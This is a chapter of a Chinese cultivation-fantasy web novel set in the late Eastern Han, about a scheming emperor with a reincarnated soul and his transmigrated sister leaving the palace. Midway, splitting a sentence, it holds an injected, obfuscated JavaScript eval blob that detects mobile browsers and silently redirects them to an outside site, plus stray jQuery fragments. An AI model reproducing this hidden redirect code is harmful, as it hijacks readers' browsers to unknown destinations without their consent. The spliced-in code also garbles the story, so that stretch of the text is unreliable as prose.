世界晋升之际,天道长青随之升华,一道黑影乘机而动,在天道松懈的那一刻携带着萧韶余剩的神魂越过世界的壁垒,不敢停留片刻,动用法则之力远遁而去。
余留原地感知到魂息降下的无边功德因为寻不到宿主,最终归入九重山中,化作九重殿上一株青莲,潋滟不开。
不知越过几个时空,黑影化成一个全身罩着黑袍的身影,分辨不出是男是女,是年轻还是老迈,那嘶哑的声音在一片混沌中显得尤为鬼魅。
“不愧是殉道升格者,仅仅只是带出一缕残魂,就让我被天道盯上,付出了一具道体消亡的代价。”
“好在,一切都是值得的。”
黑袍人伸出枯朽的手掌,清圣却虚弱的神魂被一道道残存的法则气息不断修补,与此同时,黑袍人身上的气息在快速衰败,直至身躯濒临崩溃。
考虑到这位过于妖孽的资质和智商,为了避免被察觉什么引起不必要的反扑发生,在最后,黑袍人不但在神魂处设下封印抹去记忆,还将一个全新的系统与神魂绑定,将之一并放入虚空养魂。
“哈哈哈,不会有世界会拒绝一个这样的存在进入的,注定受天道眷顾的你终将成为我最得力的助手。”
被放入虚空的魂体循着冥冥之中的指引进入了一个新的世界。
在他进入的那一刻,同一世界中,端坐于王座上的帝王抬起眼,望向浩瀚的天际,良久,隐藏在玉藻之后的人呢喃般道。
“找到了......”
即使隔着空间,神魂附身的躯体无声的睁开眼,如同回应一般,缓缓勾起一抹温文尔雅的微笑,随后又闭上了眼睛,好似从未苏醒过一样,任由寄宿在神识中的系统动作。
“滴,激活条件满足,宿主绑定中,绑定成功,系统49为您服务。”
“开启宿主扫描,扫描宿主濒危,开启急救模式,警报,能量不足,身体修复度65%。”
“悉知,宿主目前处于失忆状态,系统将进入待机模式等待宿主苏醒,开启任务等待确定。”
御座之上,身穿冕服,头戴冕冠的年轻天子收回视线,一手支着脑袋,很是散漫的靠坐着,一手把玩着一枚玉玺,被玉藻掩住的面容却是不同于表现出来的无能轻慢,倒似一种掌控全局的漫不经心。
天子无趣的赏玩着被无数人奉为传世之宝,正统象征的和氏璧雕成的玉玺,其随意程度让底下争论不休的群臣余光所见,皆是眉眼抽搐,恨不得亲自捧着才是。
“陛下,陛下。”
身旁白白胖胖,声音阴柔的掌监小声的提醒着明目张胆的走神的天子,示意众臣有事启奏。
天子回神,懒洋洋的道。
“众卿家议果为何?”
明明是极为清冷好听的声线,在天子这里却生生多了一抹轻佻风流的轻薄之感,乍听之下显得薄情的很。
虎背熊腰的何进大将军顶着一张面容凶狠的脸像模像样的拱了拱手,粗犷的声音让不少文官皱起了眉头,奈何碍于权势,敢怒不敢言。
“禀告陛下,区区黄巾乱党,鼠辈小贼尔,一州之兵力就可解矣,何须中央禁军出手。”
这话的言下之意是:陛下呀,黄巾那群游兵散将就是一群辣鸡,派当地官兵意思意思就行了,派禁军什么的,太看得起他们了。
“哦?是吗。”
看不清神色的天子语气玩味的道。
“如此,王卿家就拟旨吧。”
说罢,轻飘飘的将传国玉玺抛给掌监,看着那动作中都透着一丝丝的嫌弃。
在天子本人看来,虽是一样的印玺,还是他曾经看到过的的那一枚更得他心意。
无视身边那位包子似的掌监一脸惶恐无措手忙脚乱的动作,天子一拂衣袖,象征性的问了句话,但言行举止明晃晃的透露出一丝不耐烦。
“诸位可还有事儿?”
话语中透出的不耐烦让心生百态的文武百官收敛了神色,纷纷垂头不语。
这位只是昏庸,不理朝政,可不是他们能掌控的傀儡,这位的情绪都外露的这么明显了,傻子才会开口。
而傻子,如今也不会还站在这里了。
天子慵懒的半垂着凤眸,不着痕迹的在文武百官身上看了个来回,又收回视线,挥了挥手就直接退朝走人了,丝毫不顾及底下众人。
天子率先离开,底下这群人对大汉皇权本就不多的敬畏顿时褪去,几位文官理了理衣袖,不屑的瞪了武官几眼才转身离去,余下的人也是相看两相厌,纷纷拂袖而去。
未央宫中,偌大的宫殿只余下两人。
换下帝服,一袭白衣的天子漠然的执笔书写着什么,身旁的大掌监端着一杯茶香袅袅的热茶,白白胖胖的脸上满是慈爱与恭敬。
天子以御笔笔杆不规律的敲了笔洗四下,一个身材魁梧的黑衣银面的暗卫悄无声息的单膝跪在殿下,一旁看着的大掌监对着这一幕可为目不斜视,习以为常了,连手里端坐的茶更是连一丝波纹都没有荡起。
天子慢慢悠悠的将丝帛封在一卷青铜卷轴中,修长的指尖轻松的在光滑的表面刻上暗号,随手扔到暗卫举在额前的双手上,言简意赅的吩咐。
“交给童渊,黄巾之事让他看着办,该留的便留下,该杀的也别手软。”
与其相信现在朝堂上那群被他刻意留下的野心勃勃的庸臣能处理好这件事,天子觉得还是他自己安排比较好。
同样是武力镇压,他来动手总比那群不把人命放眼里,动不动就屠城的凶残手下来的强。
暗卫收好卷轴,行了一礼,下一刻便如影子一样消失不见。
大掌监将温度适宜的清茶轻轻放在案上,重新拿起别在腰间的拂尘,笑眯眯的道。
“陛下,太后与十常侍近日对于您空置后宫一事,颇有想法咧。”
天子波澜不惊的饮了一口茶,淡定的递了枚令牌过去,示意大掌监自己处理就好。
跟个白面团子一样的大掌监笑眯眯的接过令牌,弯了弯腰便退下处理了。
好歹咱家也是看着陛下长大的,其他的事儿他帮不上什么忙,也总不至于让后宫这些腌臜事儿让陛下不高兴。
大掌监离去不久,伏案疾书的人似是感应到什么,舒缓了眉目间的清冷,化作散漫而风雅的神情,像极了某位故人。
空旷的大殿之上,女子特有的脚步声逐渐放大,轻灵中带着一丝急促的意味,直直的向着天子而来。
随着脚步声的加重,雍容华贵却冷着一张俏脸的大汉长公主殿下径直走到天子目前,眉目间隐含怒火。
但在看到好似没事儿人一样的幼弟时,又不禁无奈的泄气似的低头,却未看见天子微不可查的让人封锁消息的动作。
一下朝就携怒而来未央宫,阿姐也过于心大了些。
为了控局和演戏,他还是放了探子进来的。
不封锁消息,过个一时三刻就得传遍王都了。
“阿姐,小心朝臣又向太后弹劾,到时候被罚可莫要恼怒。”
纵容归纵容,该提醒的也不能少,不然日后少了他的庇护,他这位姐姐总是得吃个大亏的。
“咳咳!来都来了,到时候再说吧。再者,阿羲也不会看着阿姐受苦吧。”
褪去一身凌厉的女子扁了扁嘴,毫无节操的对着幼弟撒娇,自然而然的很。
“啧,阿姐又不是不知道,羲可命令不了他们咧。”
天子不咸不淡的道。
这一句话下来,成功让公主殿下心里的小本本上就又添加了不少记忆里的人,首当其冲的就是不久后“救驾入京”的某个董姓知名人士。
在弟控的长公主殿下看来,就是自家向来通透的弟弟看清了如今的局势却无力改变,可可爱爱的向她表达委屈不满。
原本想劝自家弟弟重视黄巾之乱的长公主不想再戳‘伤口’,只能气呼呼的在不远处坐下,一个劲儿的给自己灌水,降火气。
天子好笑的放下茶盏,拍了拍手让人端着茶点进来,正好处理完事情的大掌监笑容和蔼的端着一盒色香味俱全的点心进来,轻轻放在了独自生闷气的人面前。
还未等大掌监提醒小心烫,公主殿下已经捻起一块塞进嘴里了。
看着被烫的泪眼汪汪的长公主,虽然知道以她的修为是伤不到的,但大掌监还是急忙拿出一块干净的白帕想让她吐出来,天子也不知何时已经坐在长公主面前,倒了杯凉水给自己姐姐缓缓。
硬是把食物咽下去了的长公主好不容易平静下来,纤纤玉手一直抓着大掌监的衣袖,一脸委屈的看着自家弟弟。
天子督了眼大掌监,后者会意的点了点头,然后无奈的让大掌监送自家姐姐回去,那碟子点心也被义正言辞的长公主殿下当慰问品一并带回去了。
看着空无一人的未央宫,一身白衣的天子心平气和的再次拿起书卷,但细看之下,却是久久未曾翻动。
良久,翻开下一页的天子宛如叹息的道。
“她想走,你们也不必拦着了。”
终归是要走的,如今离开,反而恰到时候。
“诺。”
空气中传来一声细微的应答,却辨不清到底来自哪里。
只是她的修为足矣,奈何局势莫测,人心复杂,被护着的公主又能看得清多少呢?
以防万一,他还是给自家姐姐找个兜底的人吧。
天子挑了挑清冷漠然的眉目,自言自语的说着没头没尾的话。
“郭先生也无趣许久了,让他考虑一下吧。”
空气中荡起一圈微不可查的涟漪后,未央宫再无动静,彻底陷入沉默。
“属下明白。”
不同于天子喜静而显得寂静的未央宫,长公主所在的明徽宫就显得格外的生气勃勃。
“阿公,何进好讨厌。”
我能废了他吗?
一脸平静的公主殿下站在被自己一掌拍碎的梨木实心桌子的残骸旁边,语气十分危险。
“殿下不可呀,万一外界知道您的修为,您可就危险了……”
大掌监欲言又止,一副无可奈何的模样,古井无波的心里却是对于危险的不以为意。
毕竟,如果不是天子身体问题,加上想着让自家姐姐安心提升实力,这些年也不会一直隐藏着她的天资,外界又岂会对皇室出了个天才的事毫不作为。
怕是刺客的尸体都能堆在一起建个宫殿了。
“我的修为难道很差吗!”
炸毛的公主殿下瞪圆了一双桃花眼,属于六重渡劫的威压不经意间溢出,被身旁看似平凡的老人一挥拂尘,无声的封锁了明徽宫,不漏一丝。
“殿下的天资自然是天下少有的,只是如今皇室衰微也是事实呀……”
大掌监心疼的看着眼前生机勃勃的少女,有些不忍心却又不得不放手的复杂。
他自小就净身入宫,没有亲人,依靠灵帝的培养才活了下来,在天子小时候就陪着他身边了。
灵帝算不得是一个合格的父亲,他更多的还是一位帝王,帝王的猜忌和对权利的掌控欲他从来不缺。
天子自出生便被皇室的供奉验出天资艳绝,对于这个刚刚出生就在皇室底蕴之中挂了名,被寄予厚望的孩子他心中复杂的很,索性眼不见为净,把他当做重振汉室的工具秘密养在冷宫。
一个生而丧母,不受帝王宠爱的冷宫小皇子,底下都是看人下菜碟的,照顾起来也没尽心过,只要保证他活着就不会再管。
那时,长公主殿下是唯一一个不在意先帝会不会迁怒自己,反而护着陛下的人。
他看着他们相互扶持,一路走到现在,他也早已把这两个他自小护着的孩子看的比自己还重了。
如今,陛下的局已经开始,再不舍得,也只得让长公主殿下离开了。
一个生性与世无争,一个天真烂漫,可最终,不管
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15362918|168099||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是为了责任,还是保护对方,都不得不强迫自己坚决的步入这权利的泥潭之中。
大掌监心疼的想着,连忙给自家殿下顺毛。
“殿下莫恼,气坏了身子,陛下会担心的。”
明丽英气的公主殿下收起来对亲近之人表露的情绪,在另一张桌子那里坐下,拿起带回来的点心一口咬了下去,语焉不详的道。
“阿公,如果我比现在更强,阿羲是不是就不会这么难受了。”
大掌监没有说话,宫殿中陷入了沉默,恍惚之间,她回想了起儿时。
她不是这个时代的人,怎么来到这个世界的,她已经不记得了。
此世的她只是灵帝一夜风流后遗忘的存在,想要好好的活下去,即使有着那个和平时代的记忆的她,与这个弱肉强食的时代再怎么的格格不入,也咬牙去学着怎么保护自己。
保护天子,更多的是在保护她心中的自己。
后来,阿羲将她保护的很好,让她可以随心所欲的做自己,也再也没人能欺负她,只是她却比之前修炼的更加努力了。
因为,她也有自己想要保护的人,她不想自己的弟弟落得记忆中的模样,哪怕此世与前世记忆不一样了,她的弟弟也不是那两位末帝。
沉默良久,少女默不作声的把点心吃完,然后笑意妍妍的道。
“阿公,我还是想去历练,此事,就先不要与阿羲说了,可好?”
她知道想出去是瞒不过自家弟弟,也知道他不会阻止的。
如此说,只是不想让自家弟弟看见她离开的背影而难过罢了。
“殿下,不与陛下说一声吗?”
领会到殿下语气中的意思,老人慈祥的道。
“不了。”
我怕见了,就不想走了。
少女垂下眼睑,语气有些低沉。
“那老奴去为殿下准备准备。”
老人叨叨絮絮的为离家的小公主传授一些生活经验后就忧心忡忡的离开了。
他从未出过宫,只得把用的到的都备下了。
月明星稀,淡淡的月华照亮了离人的前路。
换下繁复华美的广袖,少女穿上了一身劲装。
圆月下的少女接过老人递来的戒子,深深的看了一眼周围,带着不舍的离开了庇护她的温室。
在少女消失的背影后,白白胖胖的大掌监对凭空出现的虚幻身影弯了弯腰,带着惆怅和不舍的送她离开了。
一声飘渺的叹息响起,一直关注着她的天子收回了视线。
她长大了,想做什么,他便由她去,左右一步闲棋,如果实在不行,他也总有一个让她可以回来的地方。
天子并非多情的人,但此情此景下,也不由想去久远的过往。
当初九声钟鸣传遍皇城,宣告天子离世,一纸诏书,传位给了一直养在冷宫不为人知的皇子。
这一手打了正在商议新天子人选的朝臣一个措手不及,但看着一应俱全的传位诏书,心有盘算的臣子再是不情不愿,也不得不依照遗诏延奉冷宫的皇子即位新帝。
皇朝的底蕴与自古以来的礼法,无人想挑战。
最起码,在王朝的气运没有完全崩塌之前,他们不会做那个出头鸟。
最终,被奉为新帝的小皇子在谥号被定为“灵”的先帝灵枢面前,觉醒了第一世过往的记忆。
尚且年幼的皇子眨了眨眼,一边接受着记忆无暇他顾,一边相当配合的跟着被灵帝请出的底蕴走完了整个流程。
在新任天子依循老人的不动声色的暗示下达的两道圣旨后,幼弱的形象根深蒂固。
众所周知,新帝的第一道旨意尤为重要,甚至一定程度上会影响皇室底蕴和朝臣的态度,他们不信能摆了他们一道的灵帝没有告诉新帝。
然而他们不知道的是,灵帝真的没告诉过天子。
不过即便说了,天子也不会拒绝就是了,那毕竟是新任天子和底蕴的交易。
天子本人被批命活不过而立之年,皇室这一代有天资的只有新帝本人和公主刘静。
但自古以来从无女子称帝的先例,加之天子的资质实在是让他们无法反手,故而还是迎奉于今上。
底蕴需要考虑后手,因此他们是一起长大的。
所以新帝一脸淡定的下了诏书。
一道是定下新帝谥号葬礼,供奉不必守陵的旨意。
一道,是封刘静为长公主,命蔡邕为其师。
旨意顺利执行的同时,天下大多数人对于新帝的印象只余:
忠厚有余,智谋不足。
这样乖巧孱弱的模样在第二次上早朝的时候彻底碎掉了。
少年天子提着剑,后面跟着皇室两位底蕴,笑意全无的直直指向了欲要垂帘听政的太后娘娘,和诸位大臣。
硬是用血和命铺就了自己的一言堂。
从此之后,天子暴虐无道的名头取代了先前的声名,并逐渐喧嚣尘土。
新帝对此放任自流,甚至喜闻乐见,从未理会过。
帝王的生活是什么样的,或许有人认为是如同灵帝一般享乐无度,但其实灵帝少时也没过的多好,继位后反弹才如此大,或许勤勉尽责如始皇帝枯燥乏味。
但对于刘羲而言,也就那样。
恰巧某人是个崇尚女帝武则天,自异世而来,没有过观念束缚,还十分敢想敢做的长姐。
他老人家不但没有生气,甚至在确定自家阿姐有野心的时候就已经在为这位未来的继承人铺路了。
那就不需要他呕心沥血整肃天下了。
下一任帝王的威仪是绝对不能被上一任按下的。
心有所定,顶着逐渐昏聩的形象的天子开始了在朝里朝外端水的日常生活。
按他的说法就是,东汉气数已尽,与其费心续命,不如索性能者居之,破而后立,重铸权柄。
他的天命又不是为这王朝续命。